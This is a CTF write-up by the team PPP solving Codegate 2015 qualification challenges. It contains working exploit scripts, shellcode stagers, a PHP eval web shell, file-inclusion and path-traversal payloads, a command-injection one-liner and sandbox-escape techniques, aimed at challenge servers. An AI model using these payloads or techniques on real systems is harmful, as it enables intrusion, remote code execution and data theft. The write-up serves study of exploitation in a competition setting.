Codegate 2015 Quals Write-up

Written by PPP

This is a write-up for Codegate CTF 2015 Qualification round.

The original can be found here.

Enjoy!

Guesspw (100pts)

Description

```
People kept stealing our flags, so we had our engineers implement a foolproof protect
ion system.

NOTE : no bruteforce required, take it easy
```

Solution

We are provided with SSH credentials and a server address. After logging in, we find a home directory for the *guesspw* user with a flag and setuid binary inside.

After loading the setuid binary into IDA, it is obvious that static analysis is not the way to go here. We notice that it opens a *password* file, calls *realpath* on something, compares some strings, and has a backdoor that executes */bin/sh*.

Using *strace*, we can infer that the binary expects one argument which is passed to *realpath* and then it is opened along with the *password* file. Clearly, the binary is comparing the password file with the contents of the file we specify as an argument. The question is how to *trick* the setuid binary and bypass the check without actually knowing the password.

The obvious solution is blocked by realpath (e.g. symlink to the password file). A similar solution, which does work, is to provide **/dev/fd/3** as the argument. Since *realpath* is called before the password file is opened, it will pass the *realpath* checks. And because the password file is opened before our file path, **/dev/fd/3** will resolve to **/home/guesspw/password**, bypassing the password verification.

```
user@cg2015-3:/tmp/.foo$ /home/guesspw/guesspw /dev/fd/3
user@\h:\w$ cat /home/guesspw/flag
cheapestflagever
```

Flag

```
cheapestflagever
```

Owlur - Web 200 problem

We are given an image hosting service where we can upload our own files. We notice that the pages are accessed through a `page` parameter to `index.php`, which may point to a file inclusion vuln.

Using a `php://` URL for the `page` confirms our suspicions:

```
http://54.65.205.135/owlur/index.php?page=php://filter/convert.base64-encode/resource=./upload
```

We can use this to download source for all the pages. Notice that the script is appending `.php` to the path automatically (can confirm this by noting that e.g. `upload.php` exists in the root).

Null bytes aren't working to suppress this appending, and `http` and `ftp` URLs are banned, so we have to try including a local file. We can upload `.jpg`s but those have the wrong extension.

We browse the list of accepted protocols and see a weird one called `phar`. The documentation even notes that

> The phar stream wrapper does not operate on remote files, and cannot operate on remote files, and so is allowed even when the `allow_url_fopen` and `allow_url_include` INI options are disabled.

Great! So if we construct a PHAR file which contains our shellcode, and rename it to `jpg` then we get remote code execution.

From here it's easy to build the PHAR:

```
<?php
$context = stream_context_create(array('phar' => array('compress' => Phar::GZ)));
file_put_contents('phar://test.phar/z.php', '<'.'?php
    eval($_GET["code"]);
?'.'>', 0, $context);
?>
```

and then run it:

```
http://54.65.205.135/owlur/index.php?page=phar:///var/www/owlur/owlur-upload-zzzzzz/bznAQAd.jpg/z&code=echo%20file_get_contents%28%27/OWLUR-FLAG.txt%27%29;
```

(Note that the `owlur-upload-zzzzzz` path was obtained by reading the `upload.php` source we

exfiltrated).

Owltube - Web 400 problem

Not more owls! We're given a simple video linking service with a login page, and the Python source for the server.

First thing we see is that they are storing the credentials in an encrypted cookie. The cookie is encrypted with AES in CBC mode, and the cookie includes the IV. Since we know the plaintext (it's just our login username and password), we can use a chosen-IV bitflip attack. By choosing the IV such that

```
IV' = IV ^ known ^ wanted
```

we will cause the resulting ciphertext to decrypt to `wanted` instead of `known`. So now it's a simple matter of converting our cookie

```
plaintext = '{"u": "ppp", "pw": "admin"}'
```

to

```
wanted =    '{"u": "admin","u": "admin"}'
```

The login system uses your cookie as a filter for the database query, so we can login simply by omitting the password entirely. Once we logon, we see the video `THIS IS THE KEY`; the flag is the Video ID: `the_owls_are_watching_again`.

Good_Crypto - Programming 500 Problem

The given file is a packet dump encrypted with WEP (as the "WiFi" icon in the problem hints at). A few seconds with `wepcrack` solves that nicely, and gives us the WEP key `A4:3D:F6:F3:74`.

Inspecting the pcap, we can see some communication to a local 192.168.* address, presumably some kind of router. One of the pages downloaded contains a form asking for the "WEP Passphrase", and a short JavaScript snippet that checks if the passphrase is alphabetic, computes the SHA-1 hash of the passphrase, and checks if it starts with `ff7b948953ac`. This passphrase is our flag.

So now we have to figure out what the passphrase is, given a WEP key derived from it and a partial SHA-1 hash.

WEP keys are derived from passphrases using a de-facto industry standard method, which basically consists of xoring four-byte blocks of the passphrase together, and using the resulting 32-bit number as a seed for a linear-congruential PRNG. It's pretty easy to obtain the seed by bruteforcing it, but it turns out there are many seeds which can generate the observed key. All the valid seeds are of the form `0xXX12766b` where XX is any byte.

Since the seed is obtained by xoring four-byte blocks of the passphrase together, the seed is a restriction on the possible passphrases. Since the passphrase is alphabetic, we can infer that the passphrase is 10 characters long from the seed (since all alphabetic characters have bit 0x40 set). So we're looking to bruteforce a 10-character alphabetic password, with 3 restrictions - it's basically 7 characters, and that seems plausible given modern hardware.

We coded a simple wordlist generator and piped it into John the Ripper (modified to only check the first 6 bytes of the SHA-1 hash). An hour later, the bruteforce was done and we got the flag: `cgwepkeyxz`.

arc4_stranger (1000pts)

This reversing challenge was a "DesignWare ARC" ELF binary, which implements a relatively small and straightforward custom VM interpreter.

My first clue to what was happening in this binary was a giant string of UTF-8 "HEXAGRAM" characters, at 0x3D8C. Since there are 64 UTF-8 hexagram characters and this was a CTF, naturally I tried interpreting them as base64. It's rather suggestive looking, including a "WIN" string. Also noteworthy is the byte distribution: it mostly uses the same low bytes, but includes a variety off one-off higher bytes. In a CTF reversing challenge, these are both hallmarks of bytecode for a custom VM.

Obviously, you need to reverse the VM implementation before you can start reversing the VM bytecode. Unfortunately, the VM implementation is in ARC, which is apparently the most well supported GNU-architecture that no one has ever heard of. There's no qemu support or freely available simulator I could find for ARC, so I settled for http://me.bios.io/images/c/c6/ARC4.*Programmers*reference.pdf. Some ARC peculiarities include hardware-assisted loops and configurable branch delay slots.

ARC is mostly supported by IDA. The main thing IDA doesn't get is that ARC, a 4-byte fixed-width instruction architecture, uses function pointers in a shifted `fp >> 2` format. Finding the main processing loop can be done by x-refing the hexagram/vm-bytecode string, and then noticing that one of the results, `sub_C88`, is a direct child of `start` (some of the extraneous results look like dead code left over from an inlining optimization).

In `sub_C88`, the code from 0x0CF4-0x0DB0 and 0x0EE0-0x0F84 is a loop over the hexagram UTF-8 buffer, decoding it in a base64-style fashion. Note how `r20` iterates over the UTF-8 buffer, and how each character is assigned its value by iterating through a list of strings (`r17` iterating over the `chr**` at 0x6DE8), calling `memcmp()` (`sub_207C`) to find its index in the list, which winds up in `r16`. As the iteration proceeds, bits from that index are aggregated into `r15`, and completed bytes are stored to `[r5]` (which is an offset into a .bss array at 0x000477D8).

The other part of `sub_C88`, 0x0DB4-0x0EDC, is the VM dispatch loop. It reads 4 bytes of the decoded input, as an instruction & arguments. Instructions are implemented as a function lookup from the table of function pointers at 0x6CE8.

At this point, I implemented in python what I'd seen (see the attached file), and implemented the first couple functions from 0x6CE8. Most are simple: addition, xor, some conditional-jump instructions. The VM bytecode doesn't use all of them, so I left most of these as NYI stubs and just implemented them on-demand. The only hard-to-reverse functions that needed implementing were IO functions, but I didn't actually need to reverse

those: You could guess that they were IO from the fact that 1. VMs need some sort of IO and 2. they call big subroutines that look like they're from a library. The IO output function is an "output ASCII character Y at column X", which was fairly obvious from just printing out the args it gets called with. The VM program outputs junk characters and replaces them, which is a CTF-style obfuscation.

There seems to be some sort of IO input function, and from printing out instructions it's clear that your input is getting `strcmp()`ed. But, it looks like your input gets compared to a string that I was already printing as VM output, at which point I realized that I already had the flag -_-

I never did see the VM use that "WIN!!!" string that I saw at the beginning of the problem, and my script just loops printing the flag over and over, so clearly I have something wrong... meh. Doesn't matter; captured flag.

systemshock - Pwn 200 problem

systemshock was a local 64 bit pwnable with stack canaries. The code looked something like this (with the stack canary code omitted):

```
int main(int argc, char **argv) {
  int i;
  char buf[256] = "id ";
  zero_environment();

  if (argv[1]) {
    strcat(dest, argv[1])
    for (i = 0; i < strlen(argv[1]) + 3; ++i) {
      if (!isalnum(dest[i]) && dest[i] != ' ') {
        return 1;
      }
    }
    return system(buf);
  }

  return 0;
}
```

There is a an obvious buffer overflow on the `strcat` call. Normally, we'd like to inject additional shell commands in `buf`, but the validation loop checks that all characters are alphanumeric or space. However, we can use the `strcat` to overwrite `argv[1]` with an empty string. I used a null byte in the vsyscall page, since the vsyscall page is always loaded at the same address, and the vsyscall page has addresses that contain no zeros (since otherwise the `strcat` would terminate).

Now that we've disabled the validation loop into terminating, we can do shell injection cat the flag:

```
$ ./shock "$(perl -e '$x = ";cat flag;#";print $x,"A"x(0x128+0xe8-3-length($x)),pack(
"Q",0xffffffffff600404)')"
B9sdeage OVvn23oSx0ds9^^to NVxqjy is_extremely Hosx093t
Segmentation fault
```

bookstore (400pts)

Description

```
Binary : http://binary.grayhash.com/7692931e710c1d805224c44ab97ddd52/bookstore
Server : 54.65.201.110
Port : TCP 31337
Flag Path : /home/bookstore/key
```

Solution

This is a simple bookstore management service where a user can

- add a book
- update existing book
- view details on a selected book
- show the book list

We notice that there is a `login (sub_1495)` function that checks for the username and password. In this function, the service first reads a file (*/home/bookstore/famous_saying.txt*) and prints out its content by calling `dump_file (sub_8d8)` function, where the argument is a path to the file to read. So, once we have a control over EIP, we can direct it to `dump_file` with the first argument pointing to the flag path (*/home/bookstore/key*) to print out the flag rather than getting a shell.

Since `bookstore` is a PIE binary, we first need to leak a useful pointer to calculate our offsets from. Then, we use an uninitialized stack variable (function pointer) to execute `dump_file` on the file path we control.

Leaking memory

After some reversing, we know that the internal data structure that is being used to represent a book is as follows.

```
struct struc_book
{
  int id;
  int is_ebook;
  char name[20];
  int price;
  int stock;
  int print_desc;             // function pointer
  int has_free_shipping;
  int print_free_shipping;    // function pointer
  int max_download;
  int is_available;
  char description[300];
};
```

When creating a new book, in `create_book (sub_A07)`, the name and description of the book is properly null-terminated. However, in `modify_bookname (sub_EDA)`, the name of the book is updated using `strncpy` without properly null-terminating the string.

This vulnerability allows us to fill up the `name` field with a non-null-terminated string. `price` and `stock` field is integer fields without any limit or checks, so we can also make these to not contain any null bytes. What follows afterwards is a function pointer `print_desc`, which is normally set to `print_desc_fn (sub_9AD)`.

So, after creating a book and modifying its info with carefully crafted values for some of the fields, we can leak the function pointer by using its "4. Show item list" menu. From this, we can calculate the address of `dump_file` function.

Exploiting uninitialized memory

Now that we have the address for our target function, we need to somehow redirect the control flow to it.

For that, we exploit the usage of uninitialized stack variable. In order to trigger this bug, we do the following.

1. Create a **non-Ebook** (aka, normal book).
    - Name and description can be anything.
2. Modify the book information for the book we just created.
    - Stock, price, and available can be anything.
    - **Set 0 for "Free Shipping"**.
    - Set name to be the flag path (for exploitation).

3. Modify the free shipping status.
    - **Set it to 1**.
    - (Only non-Ebook can change this status)

4. Go back to main menu & view the book detail

Note that in step 2, the service uses a temporary book object on the stack to fill in data and copies over to the book object pointer that is passsed in as an argument. By setting "Free Shipping" to 0, `print_free_shipping` function pointer in temporary book object is not initialized (then later gets copied over with whatever it is on the stack).

Usually, this isn't a problem because in "view book information" menu, it checks if the `has_free_shipping` flag is set and calls the `print_free_shipping` function only if the flag is set. However, it is possible to change this flag with `modify_free_shipping (sub_1098)` menu. Note that this function does not initialize the function pointer, but just simply changes the flag.

When we go back to the main menu and select to view the book detail, `print_book_info (sub_1395)` will check for `has_free_shipping` flag and gladly call the uninitialized function pointer :)

We control the value for this function pointer by "spraying" the stack with the address of `dump_file`. Spraying can be done using `modify_book_desc (sub_FB9)` menu. As we can see, `print_free_shipping` takes one argument, which is the name of the book. So by setting the name to the path we want to read and print, and overriding the function pointer with `&dump_file`, `print_free_shipping_fn(bookname)` becomes `dump_file(path_we_control)`.

Flag

```
but_1_h4t3_b00ooooooo00k_:(((
```

Mashed Potato (400pts)

"Mashed potato" is a remote pwnable challenge.

Mashed potato has several obvious buffer overflows, effectively `fgets(stack_buf[500], atoi(fgets(...)), stdin)`, but stack canaries keep them from being immediately exploitable.

In one such case, the overflowable buffer is passed through deflate(), and the size of the compressed data is displayed back to the user. By specifying that this buffer be oversized (and therefore include the stack canary), and then taking advantage of the fact that fgets() will stop reading on a newline to NOT overflow the buffer, we can get deflate() to operate on user-supplied data with the canary appended to the end (while not actually corrupting the stack canary). Because the program allows us to do this repeatedly, we can use a CRIME-like technique to leak out the stack canary.

After leaking the stack canary, there are non-deflate()ing overflows that allow easy exploitation via ROP.

An attack script is attached. The most relevant detail to note is that zlib deflate() only really starts using LZ77 backreferences for 3-bytes matches, so bootstrapping the attack is a little tricky. To achieve this, we take advantage of the fact that the first byte of x86-64 stack canaries is always a null byte (which normally *prevents* leakage of the canary, heh).

Rodent - Pwn 800 problem

Overview

Rodent was a multi-part challenge. The first part was a simple gopher server, and the second involved escaping a ptrace sandbox.

To start with, all we were given was the IP/port of the gopher server.

Dumping the binary

Our first goal was to dump the binary for the gopher server. Connecting and sending `..`, we see what looks like the gopher binary (as well as a flag file) in the directory listing:

```
$ nc -v 54.178.144.54 7777
Connection to 54.178.144.54 7777 port [tcp/*] succeeded!
..
i***************************          (fake)  1
i*     Welcome to rodent     *          (fake)  1
i*                           *          (fake)  1
i*   Now with experimental   *          (fake)  1
i*         features!         *          (fake)  1
i***************************          (fake)  1
9rodent /../rodent      rodent.codegate.int     7777
1.      /../.   rodent.codegate.int     7777
9.bash_logout   /../.bash_logout        rodent.codegate.int     7777
1data   /../data        rodent.codegate.int     7777
9.bash_history  /../.bash_history       rodent.codegate.int     7777
9.profile       /../.profile    rodent.codegate.int     7777
9flag   /../flag        rodent.codegate.int     7777
1..     /../..  rodent.codegate.int     7777
9.bashrc        /../.bashrc     rodent.codegate.int     7777
```

However, trying to download the files showed that path traversal seemed blocked (plus file paths containing "flag" were specially filtered):

```
$ nc -v 54.178.144.54 7777
Connection to 54.178.144.54 7777 port [tcp/*] succeeded!
../flag
3*** No key for you *** /flag   error.host      1

$ nc -v 54.178.144.54 7777
Connection to 54.178.144.54 7777 port [tcp/*] succeeded!
../../../etc/passwd
3*** Could not resolve path *** /etc/passwd     error.host      1
```

Since `../../../../etc/passwd` was seemingly rewritten to `/etc/passwd`, we decided to check the program was naively replacing `../` with the empty string. This turned out to be exactly the case.

```
$ nc -v 54.178.144.54 7777
Connection to 54.178.144.54 7777 port [tcp/*] succeeded!
..././..././..././etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
```

Using this trick, we dumped the binary as well as the libc. Since we can also dump `/proc/self/maps`, we also get the libc base address for free when we exploit the binary.

Getting a shell

Reversing the binary, we found a pretty obvious buffer overflow. The gopher server implements a special extension, where if a tab is sent, it reads some additional data into a stack buffer. The code looked something like this:

```
char *tab = strchr(ptr, '\t');
if (tab) {
  char *data = tab + 1;
  int len = atoi(data);
  if ((unsigned int) len > 0x1FF)
    send_err(fd, s, "Too much extra data");
  size_t after_line_length = buf + buf_len - line_end;
  if (len < (signed int) after_line_length)
    after_line_length = len;
  memcpy(stack_buf, src, n);
  recv(fd, &stack_buf[after_line_length], len - after_line_length - 1, 0);
  ...
}
```

If `len` is 0, then, then `after_line_length` is also set to 0, and the program will run:

```
recv(fd, stack_buf, -1, 0);
```

The program has no canary, and we have the libc base, so it is simple to ROP to `recv` / `system` and get a shell:

```
$ cat /home/rodent/flag
for the next stage, see /home/sandbucket
```

Sandbucket

In `/home/sandbucket`, we see another setuid binary (32 bit), which we download and reverse. The binary reads some shellcode from the user and runs it under a ptrace sandbox which blocks the following syscalls (and allows anything else):

- fork
- vfork
- clone
- execve
- open
- read
- write
- creat
- socketcall

Additionally, the binary creates an empty directory in `/home/sandbucket/jails` based on the hash of the shellcode, then chroots into that that directory. The binary also closes all non-tty file descriptors to prevent escaping the chroot via an inherited directory file descriptor.

Bugs

There are two main issues with the implementation of the sandbox.

First, when the ptrace sandbox checks syscall numbers, it assumes 32 bit syscalls. By doing a far return to a `cs` of 0x33, we can switch our process to 64 bit mode and use 64 bit syscalls:

```
  push 0x33
  call getpc
getpc:
  add dword [esp], 5
  retf
```

Since 64 bit syscall numbers are different from 32 bit ones, this allows us to call otherwise blacklisted system calls.

Second, the directory which the program chroots into is writable by the user running the sandboxed code (even worse, `/home/sandbucket/jails` is world-writable).

Escaping

The 64 bit syscall number for clone is 0x38, which does not match any of the the syscall numbers in the blacklist. We switch to 64-bit mode and call `clone(CLONE_UNTRACED, NULL, NULL, NULL)` to create a process which is not watched by the ptrace sandbox. From here, the simplest solution would be to write a setuid binary into the chroot directory, then run it as the `rodent` user to get a shell as `sandbucket`. However, we didn't think of this and ended up doing something a litle more convoluted instead:

We wrote a small UNIX socket client/server, and placed the server inside the chroot directory. As the `sandbucket` user, we executed the server, which created a UNIX socket inside the chroot directory. Then as the `rodent` user, we ran the client, which connected to the socket and sent a directory file descriptor for / to the server using ancillary data. Finally, the server used `openat` to open the flag file and print it out.

```
gophers_in_the_sandbox
```

ICBM - Pwn + Crypto 1000 problem

ICBM starts out with a program with some trivial vulnerabilities. Wow, 1000 points for some simple ROP? Sounds good to me!

We are kindly given a copy of the system libc. We have both a buffer overflow and a format string vuln, so we can just leak out a libc address and jump to system.

```
import struct
import socket
import sys

libc_system = 0x46183 #offset a bit to use rbx instead of rdi
libc_binsh = 0x17d87b

pop_rbx_rbp = 0x1f577

leak_start_to_base = 0x7ffff7dd59f0-0x7ffff7a14000

s = socket.create_connection(('54.65.28.239',9991))

def readuntil(st):
  buf = ""
  while (st not in buf):
    buf += s.recv(1)
  return buf

print readuntil("> ")
s.send("%qx\n")

res = readuntil("> ")
leak = int(res.split("TODO")[0],16)
system = (leak - leak_start_to_base)+libc_system

binsh = (leak - leak_start_to_base)+libc_binsh

s.send("y\n")
s.send("-15\n")

for i in xrange(54):
  s.send("5\n")
```

```
pop_rbx_rbp += (leak - leak_start_to_base)

def send8(i):
  s.send(str(i&0xffffffff)+"\n")
  s.send(str(i>>32)+"\n")

send8(pop_rbx_rbp)
send8(binsh)
send8(binsh)
send8(system)

import telnetlib
t = telnetlib.Telnet()
t.sock = s
t.interact()
```

Awesome! We get a shell and `cat flag` and... crap. Looks like it won't be that easy.

We are told that we need to extract launch codes from the icbm server. The server is running on port 9990, and we get a copy of a "neutered" version. Like the first challenge, the code here is pretty simple. It reads in some data, AES-CBC decrypt it, and jumps to it.

Since this is CBC mode, we know the first 16 bytes (the IV) act as an xor key on the data. That means it's feasible for us to brute force the xor key a little bit at a time.

Our approach is as follows: start off by brute forcing the first 2 characters. Most of the time, this should result in a crash and an immediate disconnect. However, some of the time, we should get something like `eb fe`, which will result in an infinite loop, and not disconnect until the service times out. Therefore, we send characters until we don't immediately get disconnected. From there, we need to determine which bytes we sent. To do that, xor our first two bytes with a known infinite loop pattern, and several "candidate" infinite loop patterns. Based on which "candidate" patterns it matches, we can determine which two byte loop we found.

```
def test(buf):
  s = socket.create_connection(('localhost',9990))
  s.recv(1024)
  s.sendall(buf.ljust(4096,"\x00"))
  t = time.time()
  while time.time() - t < 0.1:
    s.sendall("foo")

def ttest(buf):
  try:
    test(buf)
    return True
  except:
    return False

#candidate infinite loop patterns
possibles = [0xffe5 ,0xe0fe ,0xe3fe ,0xe2fe ,0xebfe ,0x71fe ,0x73fe ,0x75fe ,0x77fe ,
0x79fe ,0x7afe ,0x7dfe, 0x7ffe,0x55c3]

def decode1(sofar):
  for i in xrange(65536):
    buf = sofar+chr(i>>8)+chr(i&0xff)

    if i%1024 == 0:
      print i

    if ttest(buf):
      print "w00t",buf.encode("hex")

      for pp in possibles:
        x = i^pp^0xffe5
        print "  ",ttest(sofar + chr(x>>8)+chr(x&0xff)),hex(pp)
      break
```

After a couple thousand tries, we find a candidate: the string `1e d2` encodes to the infinite loop `55 c3` (`push rbp; ret` which infinite loops as `rbp` points to our buffer).

Next, we do the following: encode the string `90 .. ff`, and brute force the last byte. This should give us an infinite loop only when the last byte is `e5`. Continue this, and eventually we get an xor key that gives us 16 controllable bytes.

```
def decode(sofar):
  for i in xrange(256):
    buf = sofar+chr(i)

    if ttest(buf):
      sofar = sofar[:-1] + chr(ord(sofar[-1])^0xff^0x90) + chr(i^0xff^0xe5)
      return sofar

  print "crap"
```

Once we have that, we encrypt a small 12 byte stager shellcode which lets us run some longer shellcode to get a shell.

```
[BITS 64]
xor rax, rax
imul eax
mov rsi, rbp
mov dh, 0x10
syscall
```

```
#!/usr/bin/python
import socket
import struct
import telnetlib

def readuntil(f, delim='> '):
    data = ''
    while not data.endswith(delim):
        data += f.read(1)
    return data

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('localhost', 9990))
f = s.makefile('rw', bufsize=0)

readuntil(f)

# A block of zeros decrypts to this value. Obtained by IV bit flipping
# to find infinite loops.
iv = map(ord, list('4b1199216542d9e9bb9cc69ebc99ae5c'.decode('hex')))

# xor the IV with our stager shellode
for i, v in enumerate(map(ord, list(open('sc.bin').read()))):
    iv[i] ^= v

block = '\x00' * 16

payload = ''.join(map(chr, iv)) + block
f.write(payload.ljust(4096, 'A'))

stage2 = '\x90' * 12 + open('shell.bin').read()
f.write(stage2.ljust(4096, 'B'))

t = telnetlib.Telnet()
t.sock = s
t.interact()
```

Once we have exploited the service, we find the non-redacted version of the binary in `icbm_test_server` and an encrypted flag file, `flag.enc`. We extract the IV and key from the binary to decrypt the flag:

```
#!/usr/bin/python
from Crypto.Cipher import AES

key =
'46e615ded2b8db662c680361d9ea8df77c9e71da87bfd87eda20e98280b872cd'.decode('hex')
iv = 'f701ec6b888a1da993b1122f4804b102'.decode('hex')
cipher = AES.new(key, AES.MODE_CBC, iv)
print cipher.decrypt(open('flag.enc').read())
```

```
In case you forgot the launch code:

purest_of_bodily_fluids
```

oemu (1000pts)

Description

Pwnable for Ubuntu 14.04 64-bit

Solution

At first glance, this challenge probably implements a VM of some sort due to the string *Initialize virtual memory*. We also see that it reads in a key, does some stuff, prints *[OK]*, and then does **int 3**. When we connect to the service however, we get a prompt so there is probably a signal handler for the **int 3**. Looking at the xrefs to *sigaction* and *signal* we find a handler for *SIGTRAP* at 0x401702.

The first thing the signal handler does is subtract one from the RIP in context. This effective causes the program is inifinitely loop by executing the **int 3**. Then based on the return value of 0x401178, it may exit the program.

The function at 0x401178 appears to be the main logic for the program. Depending on the state, it may call system, syscall, getchar, or putchar. Looking at the case that doesn't do any of these, we see:

```
    v11 = sub_401B6E(&stru_65BC90, var_9C);
    v12 = sub_401B6E(&stru_65BC90, var_98);
    sub_401C28(&stru_65BC90, var_98, v12 - v11, 1);
    if ( (signed int)sub_401B6E(&stru_65BC90, var_98) <= 0 )
        dword_65BCA8 = v20;
```

The code above could be summarized as read in two values, subtract them, store it back to one of the values, and compare that value to zero. This sounded familiar, and indeed it is an implementation of **subleq**. At this point, a lot of things become obvious, such as 0x606160 is the VM memory and the *key* is used to decrypt this memory. While there are lots of possible values for *key*, the most obvious one to try first was 0xCCCCCCCC, which worked and let us run the program locally.

At this point, we looked up more information about **subleq** and found http://mazonka.com/subleq/ which had a C++ interpreter. This interpreter looked very similar to the binary, so we assumed the binary was derived from this source code. The major difference, besides obfuscation, was the *syscall/system* instruction and the *push* instruction. We reimplemented both of these in the C++ program and copied

instruction and the *push* instruction. We reimplemented both of these in the C++ program and copied the VM memory into the source code. With these changes, we now had a working copy of the binary that we could modify and add debug tracing.

When looking at the output of the *help* command, which we guessed, we see that a few of the commands say *priv* next to them. When we try to run these commands, it responds with *Unauthorized*, but we don't see any way to actually authenticate. So, our first challenge is to figure out the authenticate command. While we could try to statically analyze the VM program, it sounded much easier to try some dynamic analysis first.

Our theory was that the VM would *strcmp* our input with some constant strings. We would expect to see instructions that took a byte of our input and then compared it with another byte. We used our custom interpreter to output every instruction as it was executed with pc, A, B, *A, and *B, plus *input*, *output*, *push* and *syscall* as appropriate. We then grepped for the first byte of our input (*zzzzzzzzzzzzzzzzzzzz*), and got this output after uniq:

```
[a]=122 [b]=0
[a]=122 [b]=100 ('d')
[a]=122 [b]=101 ('e')
[a]=122 [b]=103 ('g')
[a]=122 [b]=104 ('h')
[a]=122 [b]=105 ('i')
[a]=122 [b]=112 ('p')
[a]=122 [b]=113 ('q')
[a]=122 [b]=115 ('s')
[a]=122 [b]=122
[a]=122 [b]=200
```

Now that we have the possible first letters, we repeat this process setting the first letter appropriately, and we get these possible digraphs:

```
de
dm
ex
ge
he
in
pi
qu
se
```

All of these match up with commands that are listed in help, with the exception of *de*. We repeat our process to find the entire string which is:

```
debug#login
```

When we run this command, we are asked for a password. We repeat our process but this time for the password, and we get the string:

```
admin!1234
```

Now we are able to authenticate to the service and can try to exploit it. Our assumption is that we will be required to overflow some buffer which will then overwrite the VM program allowing us to eventually call *system*. We use gdb to dump the VM memory of our interpreter after executing the *set* command, and notice that the variable values are stored at the top of the VM memory and are never freed. The next step is to try to overflow this heap memory into the VM code below by setting a variable to a large string many times. The result was the VM program restarting, so we knew we managed to corrupt the VM program code and cause it to jump back to PC 0. Instead of sending 0x41, we instead send 0xCE which is the beginning of the heap memory, and now the VM just infinitely loops.

At this point we need to write some shellcode for *subleq* that will setup a call to the *syscall* instruction. At the same time, we are limited to ascii values in the memory so we cannot easily put a *syscall* instruction into memory or reference memory outside of 0x000 - 0x100. Our solution was to write shellcode that would write the real code to 0x080 and then jump there [1]. Unfortunately, we can't reference memory beyond 0x0FF, so we had to first write a stager that would allow us to execute more instructions.

The stager shellcode reads in three bytes, an A, a B, and a constant value. The constant value is stored at 0xFF so that it can be used by the generated instruction. The A and B are combined with a constant C to generate an instruction which will do one operation and then go back to the beginning of the stager. This way we execute as many **subleq** as we want, we are just limited by not having branches available to us.

The second shellcode that is read by the stager will slowly construct the real shellcode one byte at a time. The real shellcode we want is:

```
push 0x00 [x10]
push 0x03
push address of "sh\0"
push 0x3B
syscall
```

This will result in a call to *system* with the argument **sh**, giving us a shell.

[1] Based on the other exploits for this challenge, we now know that there is a much easier way to do this. But we documented our solution for compeleteness.

Flag

```
THE(age)1ofvpPM00ir23VKle is 8888Past
```

Weff - Pwn 1000 problem

Overview

Weff was a caching HTTP proxy server. It supports two protocols, `http://` and `file://` (limited only to files in `/home/weff_webserver/webserver`). Responses are cached in a binary tree. Cache entries are keyed by a hash of the request URI and contain the response, as well as the creation time of the cache entry. When a cache entry is looked up, if its age is greater than 30 seconds, the cache entry is deleted and a cache miss happens.

The server is a fork/accept service, so addresses did not change across connections. It also supported up to 1024 HTTP requests per connection, which was useful for triggering the vulnerability multiple times.

We were given a 32-bit Linux binary (with PIE, NX, and full RELRO) as well as a copy of the libc from the system.

Vulnerabilities

There were a couple of bugs in this program. First, the cache entries are looked up only by the hash of the URI, which are easy to collide - the full URI is not checked. More interestingly, there is a use-after-free in the cache expiry code. The code for deleting a cache entry look like:

```
typedef struct cache_entry {
  unsigned int hash;
  char *response;
  time_t creation_time;
  size_t response_len;
  struct cache_entry *left;
  struct cache_entry *right;
} cache_entry;

...

cache_entry *cache_delete(cache_entry *root, unsigned int hash) {
  if (!root) return NULL;

  if (root->hash > hash) {
    root->left = cache_delete(root->left, hash);
    return root;
```

```
  }

  if (root->hash < hash) {
    root->right = cache_delete(root->right, hash);
    return root;
  }

  cache_entry *new_root = root->right;
  if (root->right) {
    if (root->left) {
      cache_entry *left_most = get_left_most(root->right);
      root->hash = left_most->hash;
      free(root->response);
      root->response = left_most->response;
      root->response_len = left_most->response_len;
      root->time = left_most->response_len;
      root->right = cache_delete(root->right, left_most->hash);
      return root;
    }
  } else {
    new_root = root->left;
  }

  free(root->response);
  memset(root, 0, sizeof(*root));
  free(root);
  return new_root;
}
```

The function takes the root of a binary tree and potentially returns a new root (when cache entry being deleted is at the root of the tree). The correct way to call this code looks something like:

```
cache_root = cache_delete(cache_root, hash);
```

But the program fails to assign assign the return value of `cache_delete` back to `cache_root`. Thus, when the cache entry at the root of the binary tree expires and is looked up, `cache_root` would point to freed memory.

Exploitation

The HTTP request is parsed into a `request` struct, which contains a lot of strings in the heap. After triggering the free as described above, we can a controlled string allocated at `cache_root` by sending a

request with a 24 byte header. Unfortunately, there were no opportunities to place controlled data with null bytes on the heap, so we were limited to strings for our fake `cache_entry`.

Leaking addresses

The bug gives a pretty easy arbitrary read. To read `ptr`, we can make `cache_root` point to a fake `cache_entry` so that `cache_root->hash = request_uri_hash`, `cache_root->response = ptr`, and `cache_root->response_len = len_to_read`. Even better, since the program never directly derefrences `response` and instead just passes it to the read syscall, we do not need to worry about `ptr` or `len_to_read` being valid.

Using this, we can brute force the binary base address by looking for a page with a known string a a specific offset. Since the binary is 32-bit, this only takes a couple hundred guesses. By using an invalid protocol, the code which updates the cache is short-circuited, so none of the invalid pointers in the fake `cache_entry` get dereferenced.

Using the same technique, we can leak the libc base.

Getting a shell

Now that we have some interesting addresses, we need to figure out a way to use this bug to write something interesting to get code execution. Unfortunately, without doing pretty advanced heap feng shui, the ability to control `cache_root` (with no null bytes) gives us pretty limited capabilities.

The two main primitives we use are:

1. We can forge the left/right pointers in `cache_root` and use this to write a new `cache_entry` into for example, `cache_root->right->right`. This is useful because we control the first 4 bytes of the new `cache_entry` (the URI hash). However, this write will only happen if `cache_root->right->right` is 0 to begin with.
2. In `cache_delete`, when deleting a `cache_entry` with both a left and right subtree, fields of the `cache_entry` are overwritten with values from the leftmost child of the right subtree.

Given these, we chose to overwrite `free_hook` (which is called on every `free`) with `system`. Initially, `(cache_entry *) free_hook` has a 0 for all fields.

We cannot achive this with the first primitive alone, since it only ever writes heap pointers, which won't be executable. Thus, we want to set things up so that we can use the second primitive. To do this, we need `free_hook` to be a node in the tree with both right and left subtrees. In addition, the leftmost child of the right subtree should have a tag of `system`, so that `system` will be written to `free_hook`.

Here is the tree structure that we want to create (the hashes are in parentheses):

```
         root
          /
     free_hook (0)
      /         \
 whatever     (system)
```

Since the `free_hook` node's `left` and `right` pointers are 0, we can use the first primitive to set these to the two children.

To link `free_hook` into the tree, we can use our control of the `cache_root` node. On the same request, we force the URI hash to 0. Since the `free_hook` node's hash is 0 (and so is its `creation_time`), the node will be deleted, which writes `system` over `free_hook`. All that remains is to place a shell command into a header, and it will be "freed" (executed) when the request is destroyed.

```
proxy_stuff_hm
```